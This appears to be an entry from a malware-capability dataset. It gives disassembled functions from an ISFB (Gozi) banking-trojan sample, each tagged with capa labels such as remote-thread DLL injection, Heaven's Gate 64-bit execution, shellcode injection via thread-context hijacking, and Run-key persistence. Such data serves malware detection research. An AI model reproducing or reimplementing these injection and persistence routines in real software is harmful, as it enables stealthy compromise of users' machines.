joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404177
Capabilities:
Create thread
Print debug messages

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
push edi
push eax
push 0
push 0x43a
mov dword [esp + 0x2c], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0x100000
push 0x40
mov dword [esp + 0x20], eax
call esi
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
mov ebp, eax
push str.ISFB:_ProcessInjectDllWithThread_starting
push ebp
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
pop ecx
pop ecx
push ebp
call ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LocalFree]
call ebp
mov eax, dword [esp + 0x18]
test eax, eax
je 0x4042cd
push 0
call fcn.004057f9
test byte [0x40c88c], 1
je 0x404204
test eax, eax
jne 0x404204
push 0x100000
push 0x40
mov dword [esp + 0x18], 1
call esi
push 1
push str.ISFB:_ProcessInjectDllWithThread_error__PsSupIsWow64Process__Status_x
jmp 0x4042ab
push str.RtlExitUserThread
push str.NTDLL.DLL
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call fcn.0040589d
xor ecx, ecx
cmp eax, ecx
mov dword [esp + 0x14], eax
je 0x404290
lea edx, [esp + 0x24]
push edx
push 4
push ecx
push eax
push ecx
push ecx
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
mov dword [esp + 0x1c], eax
je 0x404272
push dword [esp + 0x14]
lea eax, [esp + 0x1c]
push 0
push eax
call fcn.00403e2d
push dword [esp + 0x1c]
mov dword [esp + 0x14], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x100000
push 0x40
call esi
push dword [esp + 0x10]
push str.ISFB:_ProcessInjectDllWithThread:_ProcessInjectDll_done__Status_x
jmp 0x4042ab
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x100000
push 0x40
mov dword [esp + 0x18], eax
call esi
push dword [esp + 0x10]
push str.ISFB:_ProcessInjectDllWithThread:_CreateRemoteThread_fail__Status_x
jmp 0x4042ab
push 0x100000
push 0x40
mov dword [esp + 0x18], 0x490
call esi
push 0x490
push str.ISFB:_ProcessInjectDllWithThread_error__pExitThread__Status_x
push eax
mov dword [esp + 0x20], eax
call edi
add esp, 0xc
push dword [esp + 0x14]
call ebx
push dword [esp + 0x14]
call ebp
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4042ff
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x100000
push 0x40
mov dword [esp + 0x18], eax
call esi
push dword [esp + 0x10]
mov dword [esp + 0x18], eax
push str.ISFB:_ProcessInjectDllWithThread_error_Pi.hProcess0__Status_x
push eax
call edi
add esp, 0xc
push dword [esp + 0x14]
call ebx
push dword [esp + 0x14]
call ebp
push 0x100000
push 0x40
call esi
push dword [esp + 0x10]
mov esi, eax
push str.ISFB:_ProcessInjectDllWithThread_done__Status_x
push esi
call edi
add esp, 0xc
push esi
call ebx
push esi
call ebp
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
Function at 0x404955
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
xor ecx, ecx
cmp dword [0x40c774], ecx
push edi
jne 0x40496f
xor eax, eax
xor edx, edx
jmp 0x404aa0
cmp dword [ebp + 0x10], ecx
lea eax, [ebp + 0x14]
jle 0x40498b
mov edx, dword [ebp + 0x14]
dec dword [ebp + 0x10]
mov dword [ebp - 0x30], edx
mov edx, dword [ebp + 0x18]
lea eax, [ebp + 0x1c]
mov dword [ebp - 0x2c], edx
jmp 0x404991
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ecx
cmp dword [ebp + 0x10], ecx
jle 0x4049a9
dec dword [ebp + 0x10]
mov edx, dword [eax]
add eax, 8
mov dword [ebp - 0x28], edx
mov edx, dword [eax - 4]
mov dword [ebp - 0x24], edx
jmp 0x4049af
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
cmp dword [ebp + 0x10], ecx
jle 0x4049c7
dec dword [ebp + 0x10]
mov edx, dword [eax]
add eax, 8
mov dword [ebp - 0x20], edx
mov edx, dword [eax - 4]
mov dword [ebp - 0x1c], edx
jmp 0x4049cd
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], ecx
cmp dword [ebp + 0x10], ecx
jle 0x4049e5
dec dword [ebp + 0x10]
mov edx, dword [eax]
add eax, 8
mov dword [ebp - 0x18], edx
mov edx, dword [eax - 4]
mov dword [ebp - 0x14], edx
jmp 0x4049eb
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], ecx
cdq
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x34], edx
cdq
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], edx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], ecx
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
mov dword [ebp - 8], esp
and esp, 0xfffffff0
push 0x33
call fcn.00404a21
pop edi
leave
ret

Function at 0x404aa3
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
push esi
push edi
je 0x404b0f
mov ecx, dword [ebp + 0xc]
test ecx, ecx
mov eax, dword [ebp + 0x10]
jne 0x404abc
test eax, eax
je 0x404b0f
cmp dword [ebp + 0x14], 0
je 0x404b0f
mov dword [ebp + 0xc], ecx
mov dword [ebp + 0x10], eax
push 0x33
call fcn.00404acf
pop edi
pop esi
pop ebp
ret 0x10

Function at 0x404b15
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, 0x409e10
xor ecx, ecx
cmp ecx, eax
push esi
push edi
mov dword [ebp - 4], 0x17
mov dword [ebp - 8], eax
je 0x404ba0
mov ecx, dword [ebp + 8]
test ecx, ecx
mov eax, dword [ebp + 0xc]
jne 0x404b40
test eax, eax
je 0x404ba0
mov byte [ebp + 0xf], 0
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], eax
push 0x33
call fcn.00404b51
xor al, al
pop edi
pop esi
leave
ret 8

Function at 0x404ba8
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5bc
push ebx
xor edx, edx
cmp dword [0x40c774], edx
push esi
push edi
je 0x404d17
mov dword [ebp - 8], edx
mov dword [ebp - 4], edx
push 0x33
call fcn.00404bcf
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405d21
Capabilities:
Print debug messages

Disassembly:
mov eax, dword [0x40c870]
push ebx
push esi
xor ebx, ebx
or eax, dword [0x40c874]
push edi
jne 0x405dc2
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push str.ZwGetContextThread
mov edi, str.NTDLL.DLL
push edi
call esi
push eax
call fcn.0040625b
mov dword [0x40c870], eax
or eax, edx
mov dword [0x40c874], edx
jne 0x405d8f
push 0x100000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0xffffffffffffffff
push str.PsSupResolveNativePointers:_PsSupGetProcessFunctionAddressArch_szZwGetContextThread__fail__hProcess_x
mov esi, eax
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x405dc7
push str.ZwSetContextThread
push edi
call esi
push eax
call fcn.0040625b
mov dword [0x40c878], eax
or eax, edx
mov dword [0x40c87c], edx
jne 0x405dc2
push 0x100000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0xffffffffffffffff
push str.PsSupResolveNativePointers:_PsSupGetProcessFunctionAddressArch_szZwSetContextThread__fail__hProcess_x
jmp 0x405d73
mov ebx, 0x40c870
pop edi
pop esi
mov eax, ebx
pop ebx
ret
Function at 0x405dcd
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Print debug messages

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x4e4
push ebx
push esi
push edi
xor edi, edi
push 0x4c8
mov esi, eax
lea eax, [esp + 0x2c]
push edi
push eax
mov dword [esp + 0x2c], edi
mov dword [esp + 0x30], edi
call sub.ntdll.dll_memset
add esp, 0xc
call fcn.00405d21
push pe_nt_image_headers32
lea eax, [esi + 0x218]
push 0x407696
push eax
mov dword [esp + 0x5c], 0x100003
call sub.ntdll.dll_memcpy
mov ebx, dword [ebp + 8]
add esp, 0xc
push 0x40
push 0x3000
push 0x318
push edi
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cmp eax, edi
mov dword [esp + 0x14], eax
je 0x405f83
lea eax, [esp + 0x20]
push eax
push dword [ebx + 4]
call fcn.0040512d
test eax, eax
pop ecx
pop ecx
push 0x100000
push 0x40
je 0x405f5a
mov edi, dword [sym.imp.KERNEL32.dll_LocalAlloc]
call edi
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
push str.PsSupWow64InjectExecuteStub64Alt:_GetThreadContext64
push eax
mov dword [esp + 0x20], eax
call ebx
pop ecx
pop ecx
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [esi + 0x10]
lea eax, [esi + 0x18]
cdq
cmp ecx, eax
jne 0x405eb6
mov eax, dword [esi + 0x14]
cmp eax, edx
jne 0x405eb6
mov eax, dword [esp + 0x14]
xor ecx, ecx
add eax, 0x18
adc ecx, ecx
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], ecx
mov eax, dword [esp + 0x118]
mov dword [esi], eax
mov eax, dword [esp + 0x11c]
mov dword [esi + 4], eax
lea eax, [esp + 0x1c]
push eax
push 0x318
push esi
push dword [esp + 0x20]
mov esi, dword [ebp + 8]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x405f83
mov eax, dword [esp + 0x14]
and dword [esp + 0x9c], 0
mov dword [esp + 0x98], eax
add eax, 0x218
cdq
mov dword [esp + 0x118], eax
lea eax, [esp + 0x20]
push eax
push dword [esi + 4]
mov dword [esp + 0x124], edx
call fcn.004051a7
test eax, eax
pop ecx
pop ecx
push 0x100000
push 0x40
je 0x405f4c
call edi
mov esi, eax
push str.PsSupWow64InjectExecuteStub64Alt:_SetThreadContext64
push esi
call ebx
pop ecx
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
jmp 0x405f89
call edi
mov esi, eax
push str.PsSupWow64InjectExecuteStub64Alt:__SetThreadContext64
push esi
call ebx
jmp 0x405f6e
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
push str.PsSupWow64InjectExecuteStub64Alt:__GetThreadContext64
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
pop ecx
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 5
pop eax
jmp 0x405f89
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x405f92
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2cc
push ebx
mov ebx, dword [ebp + 8]
push edi
xor edi, edi
push 0x2c8
lea eax, [ebp - 0x2c8]
push edi
push eax
mov dword [ebp - 0x2cc], edi
call sub.ntdll.dll_memset
mov eax, dword [ebx + 8]
add esp, 0xc
cmp eax, dword [0x40c884]
je 0x406099
push 0x40
push 0x3000
push 0x318
push edi
push dword [ebx]
mov dword [ebp - 0x2cc], 0x10003
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x4060a7
lea eax, [ebp - 0x2cc]
push eax
push dword [ebx + 4]
call dword [sym.imp.ntdll.dll_NtGetContextThread]
test eax, eax
jge 0x406011
push 5
pop eax
jmp 0x4060ad
mov eax, dword [ebp - 0x214]
and dword [esi + 4], 0
mov dword [esi], eax
lea eax, [edi + 0x218]
push pe_nt_image_headers32
mov dword [ebp - 0x214], eax
lea eax, [esi + 0x218]
push 0x4076bb
push eax
mov dword [ebp - 0x21c], edi
call sub.ntdll.dll_memcpy
mov ecx, dword [esi + 0x10]
lea eax, [esi + 0x18]
cdq
add esp, 0xc
cmp ecx, eax
jne 0x406069
mov eax, dword [esi + 0x14]
cmp eax, edx
jne 0x406069
mov eax, edi
xor ecx, ecx
add eax, 0x18
adc ecx, ecx
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], ecx
lea eax, [ebp + 8]
push eax
push 0x318
push esi
push edi
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4060a7
lea eax, [ebp - 0x2cc]
push eax
push dword [ebx + 4]
call dword [sym.imp.ntdll.dll_NtSetContextThread]
test eax, eax
jge 0x4060a3
jmp 0x406009
push dword [esi + 0x10]
call dword [esi + 8]
test eax, eax
je 0x4060a7
xor eax, eax
jmp 0x4060ad
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop ebx
leave
ret 4

Function at 0x4063a0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push esi
push 0x27
lea eax, [ebp - 0x33]
push 0
push eax
mov byte [ebp - 0x34], 0
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x64]
push eax
push dword [ebp + 8]
call fcn.004056cb
mov esi, eax
test esi, esi
jl 0x40642a
push 0x28
lea eax, [ebp - 0x34]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x5c]
call fcn.0040594d
test eax, eax
mov dword [ebp - 8], eax
je 0x4063f6
mov eax, dword [ebp - 0x24]
mov dword [edi], eax
mov eax, dword [ebp - 0x20]
mov dword [edi + 4], eax
jmp 0x40642a
push 0x100000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push dword [ebp + 8]
mov esi, eax
push str.PsSupGetProcessMainImageBaseArch:_x32_ReadProcessMemory_fail__hProcess_x
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esi, 0xc0000022
mov eax, esi
pop esi
leave
ret 4
Function at 0x4064b8
Capabilities:
Create process on windows
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
push edi
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push str.open
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x100000
push 0x40
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
cmp esi, 0x20
jle 0x406510
push dword [ebp + 0xc]
mov esi, eax
push dword [ebp + 8]
push str.PsSup:_File__s_successfully_started_with_parameter___s_._n
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor esi, esi
jmp 0x406533
push esi
push dword [ebp + 8]
mov edi, eax
push str.PsSup:_ShellExecute_failed._File:__s__error__u._n
push edi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push edi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
mov eax, esi
pop esi
pop ebp
ret 8

Function at 0x4065f5
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
lea eax, [ebp - 8]
push eax
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
xor esi, esi
push 0x80000002
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x406679
push ebx
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0xc]
push eax
push esi
mov ebx, str.SystemRoot
push ebx
push dword [ebp - 8]
call edi
test eax, eax
jne 0x406677
mov eax, dword [ebp - 4]
inc eax
push eax
call fcn.004013ab
mov esi, eax
test esi, esi
je 0x406673
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0xc]
push eax
push 0
push ebx
push dword [ebp - 8]
call edi
test eax, eax
jne 0x40666d
mov eax, dword [ebp - 4]
mov byte [esi + eax], 0
mov eax, dword [ebp + 8]
mov dword [eax], esi
jmp 0x406677
push esi
call fcn.004013c0
and dword [ebp - 4], 0
pop edi
pop ebx
mov eax, dword [ebp - 4]
pop esi
leave
ret 4
Function at 0x406681
Capabilities:
Get system information on windows
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push edi
push 0
call esi
mov dword [0x40c890], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
push 0x40a5a4
mov dword [0x40c888], eax
call esi
push str.RtlGetVersion
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, 0x9c
push edi
push 0
mov esi, 0x40c980
push esi
mov ebx, eax
call sub.ntdll.dll_memset
add esp, 0xc
push esi
mov dword [0x40c980], edi
call ebx
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
push 0x20
push 0
push 0x40ca20
call sub.ntdll.dll_memset
mov eax, dword [0x40c984]
mov dword [0x40ca24], eax
mov eax, dword [0x40c988]
mov dword [0x40ca28], eax
mov eax, dword [0x40c98c]
mov dword [0x40ca2c], eax
mov al, byte [0x40ca1a]
mov byte [0x40ca36], al
mov ax, word [0x40ca14]
mov word [0x40ca30], ax
mov ax, word [0x40ca16]
mov word [0x40ca32], ax
mov ax, word [0x40ca18]
mov word [0x40ca34], ax
mov ax, word [ebp - 0x28]
mov word [0x40ca38], ax
mov ax, word [ebp - 8]
mov word [0x40ca3a], ax
mov ax, word [ebp - 6]
add esp, 0xc
mov byte [0x40ca20], 0x77
mov word [0x40ca3c], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x40c884], eax
push 1
lea eax, [ebp - 4]
push eax
push dword [0x40c894]
call fcn.00406431
mov ebx, eax
test ebx, ebx
je 0x4067b5
push 0x100000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push ebx
mov esi, eax
push str.Globals:_PsSupGetModulePath_failed_with_status__u._n
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x4067f2
mov edi, dword [ebp - 4]
push edi
call dword [sym.imp.SHELL32.dll_PathGetShortPath]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea esi, [eax + 1]
push esi
call fcn.004013ab
test eax, eax
mov dword [0x40c89c], eax
je 0x4067e5
push esi
push edi
push eax
call sub.ntdll.dll_wcstombs
add esp, 0xc
jmp 0x4067e8
push 8
pop ebx
push edi
call fcn.004013c0
test ebx, ebx
jne 0x4067f6
test ebx, ebx
je 0x406824
mov eax, dword [0x40c898]
test eax, eax
je 0x406805
push eax
call fcn.004013c0
mov eax, dword [0x40c89c]
test eax, eax
je 0x406814
push eax
call fcn.004013c0
mov eax, dword [0x40c8a0]
test eax, eax
je 0x406824
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x407028
Capabilities:
Persist via run registry key
Query or enumerate registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4dc
mov eax, dword [0x40ca40]
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 0xc]
or eax, 0x20019
push eax
xor esi, esi
push esi
push esi
push 0x80000003
mov dword [ebp - 0x10], esi
mov dword [ebp - 4], 0x104
call edi
cmp eax, esi
mov dword [ebp - 0xc], eax
jne 0x40713b
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
push esi
push esi
push esi
push esi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x4dc]
push eax
mov dword [ebp - 0xc], 2
push esi
jmp 0x407124
cmp dword [ebp - 4], 8
jbe 0x407108
push 0x5f
lea eax, [ebp - 0x4dc]
push eax
call dword [sym.imp.SHLWAPI.dll_StrChrA]
test eax, eax
jne 0x407108
push str.SoftwareMicrosoftWindowsCurrentVersionRun
lea eax, [ebp - 0x4dc]
push eax
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp + 0xc]
or eax, 0xf003f
push eax
push esi
lea eax, [ebp - 0x4dc]
push eax
push dword [ebp - 8]
call edi
test eax, eax
jne 0x407108
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push dword [ebp + 8]
push 1
push esi
push dword [ebp - 0x18]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x4070ff
mov dword [ebp - 0xc], esi
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc dword [ebp - 0x10]
push esi
push esi
push esi
push esi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x4dc]
push eax
push dword [ebp - 0x10]
mov dword [ebp - 4], 0x104
push dword [ebp - 8]
call ebx
test eax, eax
je 0x407091
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
mov eax, dword [ebp - 0xc]
pop edi
pop esi
leave
ret 8

Function at 0x407144
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [edi + 0x3c]
and dword [ebp - 8], 0
add eax, edi
cmp word [eax + 4], 0x8664
jne 0x407163
mov eax, dword [eax + 0x88]
jmp 0x407166
mov eax, dword [eax + 0x78]
add eax, edi
test eax, eax
push ebx
je 0x4071d9
mov ecx, dword [eax + 0x1c]
test ecx, ecx
je 0x4071d9
mov ebx, dword [eax + 0x20]
test ebx, ebx
je 0x4071d9
and dword [ebp - 4], 0
push esi
mov esi, dword [eax + 0x24]
mov eax, dword [eax + 0x18]
add ecx, edi
add ebx, edi
add esi, edi
test eax, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], eax
jbe 0x4071d3
mov eax, dword [ebx]
push dword [ebp + 8]
add eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x4071ba
add ebx, 4
inc esi
inc esi
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xc]
jb 0x407196
jmp 0x4071d3
movzx eax, word [esi]
mov ecx, dword [ebp - 0x10]
lea eax, [ecx + eax*4]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x4071d3
mov ecx, dword [ebx]
add ecx, edi
mov dword [eax], ecx
mov eax, dword [ebp - 8]
pop esi
jmp 0x4071db
xor eax, eax
pop ebx
leave
ret 8
Function at 0x4071e0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
lea edx, [eax + ecx + 0x18]
movzx eax, word [ecx + 6]
push ebx
push esi
mov dword [ebp - 4], eax
xor eax, eax
push edi
mov edi, dword [edx + 0xc]
cmp dword [ebp + 8], edi
jb 0x40721b
mov esi, dword [ecx + 0x3c]
mov ebx, dword [edx + 0x10]
lea ebx, [ebx + esi - 1]
dec esi
not esi
and ebx, esi
add ebx, edi
cmp dword [ebp + 8], ebx
jb 0x40722d
add dword [ebp - 4], reloc.msvcrt.dll_isdigit
add edx, 0x28
cmp word [ebp - 4], ax
jne 0x4071fd
jmp 0x407235
mov eax, dword [edx + 0x14]
sub eax, edi
add eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x407991
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x4079c2
mov eax, dword fs:[4]
mov dword [ebp + 8], eax
mov eax, dword fs:[8]
mov dword [ebp - 4], eax
cmp ebx, dword [ebp - 4]
jb 0x4079c9
cmp ebx, dword [ebp + 8]
jae 0x4079c9
xor eax, eax
jmp 0x407baf
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x4079da
xor eax, eax
inc eax
jmp 0x407bae
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x4079ec
cmp ecx, edx
jae 0x407a50
cmp dword [eax + 4], 0
je 0x4079f5
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x4079e1
cmp dword [ebp + 8], 0
je 0x407a0f
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x407a50
cmp eax, esi
jae 0x407a50
mov ecx, dword [0x40c918]
mov esi, ebx
and esi, 0xfffff000
xor eax, eax
test ecx, ecx
jle 0x407a31
cmp dword [eax*4 + 0x40c920], esi
je 0x407a57
inc eax
cmp eax, ecx
jl 0x407a23
lea eax, [ebp + 8]
push eax
push 0x1c
lea eax, [ebp - 0x20]
push eax
push 0
push ebx
or edi, 0xffffffff
push edi
call sub.ntdll.dll_NtQueryVirtualMemory
test eax, eax
jl 0x407ac7
mov eax, dword [ebp + 8]
jmp 0x407ac9
xor eax, eax
jmp 0x407bae
test eax, eax
jle 0x4079d2
xor edx, edx
mov ebx, 0x40c960
inc edx
mov edi, ebx
xchg dword [edi], edx
test edx, edx
jne 0x4079d2
cmp dword [eax*4 + 0x40c920], esi
je 0x407aa6
lea eax, [ecx - 1]
test eax, eax
jl 0x407a93
cmp dword [eax*4 + 0x40c920], esi
je 0x407a8f
dec eax
jns 0x407a83
test eax, eax
jge 0x407aa4
cmp ecx, 0x10
jge 0x407a9f
inc ecx
mov dword [0x40c918], ecx
lea eax, [ecx - 1]
jmp 0x407aa6
je 0x407abe
xor edx, edx
test eax, eax
jl 0x407abe
lea ecx, [edx*4 + 0x40c920]
mov edi, dword [ecx]
inc edx
cmp edx, eax
mov dword [ecx], esi
mov esi, edi
jle 0x407aac
xor eax, eax
xchg dword [ebx], eax
jmp 0x4079d2
xor eax, eax
test eax, eax
je 0x407bac
cmp dword [ebp - 8], 0x1000000
jne 0x407bac
test byte [ebp - 0xc], 0xcc
je 0x407b3e
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], reloc.msvcrt.dll_isdigit
jne 0x407bac
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407bac
cmp word [eax + 0x18], reloc.msvcrt.dll_isdigit
jne 0x407bac
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x407bac
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x407b3e
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x407b3e
test byte [ecx + 0x27], 0x80
jne 0x407a50
xor eax, eax
inc eax
mov ecx, eax
mov edx, 0x40c960
xchg dword [edx], ecx
test ecx, ecx
jne 0x407bae
mov ecx, dword [0x40c918]
test ecx, ecx
mov edx, ecx
jle 0x407b6d
lea eax, [ecx*4 + 0x40c91c]
cmp dword [eax], esi
je 0x407b6d
dec edx
sub eax, 4
test edx, edx
jg 0x407b61
test edx, edx
jne 0x407b9e
push 0xf
pop ebx
cmp ecx, ebx
jg 0x407b7a
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x407b92
lea eax, [edx*4 + 0x40c920]
mov edi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], esi
mov esi, edi
jle 0x407b80
cmp ecx, 0x10
jge 0x407b9e
inc ecx
mov dword [0x40c918], ecx
xor eax, eax
mov ecx, 0x40c960
xchg dword [ecx], eax
jmp 0x4079d2
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret